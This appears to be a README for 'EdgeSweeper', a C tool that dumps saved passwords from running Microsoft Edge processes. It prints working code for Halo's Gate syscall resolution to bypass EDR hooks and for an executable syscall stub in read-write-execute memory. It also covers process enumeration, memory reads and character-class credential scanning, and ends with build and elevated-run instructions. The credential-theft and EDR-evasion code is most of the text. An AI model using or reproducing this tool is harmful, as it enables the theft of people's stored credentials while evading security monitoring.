EdgeSweeper
C port of EdgeSavedPasswordsDumper
by L1v1ng0ffTh3L4N. Original was C#. This version uses direct NT syscalls via
Halo's Gate — no Win32 API touching process enumeration or memory reads.
Tested on msedge.exe <= 147.0.3912.98.
Edge stores credentials in plaintext inside PAGE_READWRITE heap regions.
The tool finds them by walking committed memory regions of each root Edge process.
Halo's Gate — syscall resolution
EDR products hook NT functions in userland by patching the first few bytes of stubs
in ntdll.dll to redirect execution through their own inspection layer.
Direct syscalls bypass this by invoking the kernel transition instruction
(syscall) directly, with the correct System Service Number (SSN) loaded
into eax.
The problem: to call a syscall directly you need the SSN, but if the stub is hooked the standard read of bytes 4-7 gives you garbage. Halo's Gate solves this by finding a clean neighboring stub and deriving the target SSN by offset — NT syscall SSNs are contiguous when sorted by address.
Implementation
Walk ntdll's export table, collect all Nt* exports, sort by address,
then for each target function check if the stub is clean:
static BOOL IsCleanStub(BYTE* fn) {
return fn[0] == 0x4C && // mov r10, rcx
fn[1] == 0x8B &&
fn[2] == 0xD1 &&
fn[3] == 0xB8; // mov eax, <SSN>
}
If hooked, walk up and down the sorted list until a clean neighbor is found, then adjust by the delta:
for (int delta = 1; delta < (int)count; delta++) {
int up = targetIdx - delta;
if (up >= 0 && IsCleanStub((BYTE*)entries[up].addr)) {
*outSSN = ExtractSSN((BYTE*)entries[up].addr) + (DWORD)delta;
resolved = TRUE;
break;
}
int down = targetIdx + delta;
if (down < (int)count && IsCleanStub((BYTE*)entries[down].addr)) {
*outSSN = ExtractSSN((BYTE*)entries[down].addr) - (DWORD)delta;
resolved = TRUE;
break;
}
}
Once the SSN is known, a small executable stub is allocated with
VirtualAlloc(PAGE_EXECUTE_READWRITE) and the SSN is patched in at offset 4:
static const BYTE STUB_TEMPLATE[] = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, <SSN>
0x0F, 0x05, // syscall
0xC3 // ret
};
Process enumeration
Edge spawns a tree of msedge.exe processes. Only the root process
(whose parent is not also msedge.exe) holds the credential heap regions
worth scanning. NtQuerySystemInformation with
SystemProcessInformation gives the full process list including parent PIDs,
so roots are identified by filtering children out.
Credential scanning
For each root process: open with NtOpenProcess, walk all committed
PAGE_READWRITE regions via NtQueryVirtualMemory,
read each region with NtReadVirtualMemory, then scan the buffer.
Edge's credential layout in memory follows a consistent pattern —
https <user> <pass>\x00 with the origin URL sitting a few
bytes behind the protocol marker. The scanner looks for http or
https as anchors, then extracts the username, password, and URL
fields using character-class validation.
static BOOL IsUserChar(BYTE c) {
return (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') ||
(c >= '0' && c <= '9') || c > 0x7E ||
c == '-' || c == '_' || c == '.' || c == '@' || c == '?';
}
static BOOL IsPassChar(BYTE c) {
return c >= 0x20 && c != 0x7F;
}
Output format:
[email protected] : password123 @ example.com
Syscalls used
NtQuerySystemInformation— process enumerationNtOpenProcess— handle acquisitionNtQueryVirtualMemory— region walkingNtReadVirtualMemory— memory reads
Build
x86_64-w64-mingw32-gcc dumper.c -o dumper.exe -lntdll -Wall
Usage
Run elevated on a machine where Edge is open with saved credentials.
dumper.exe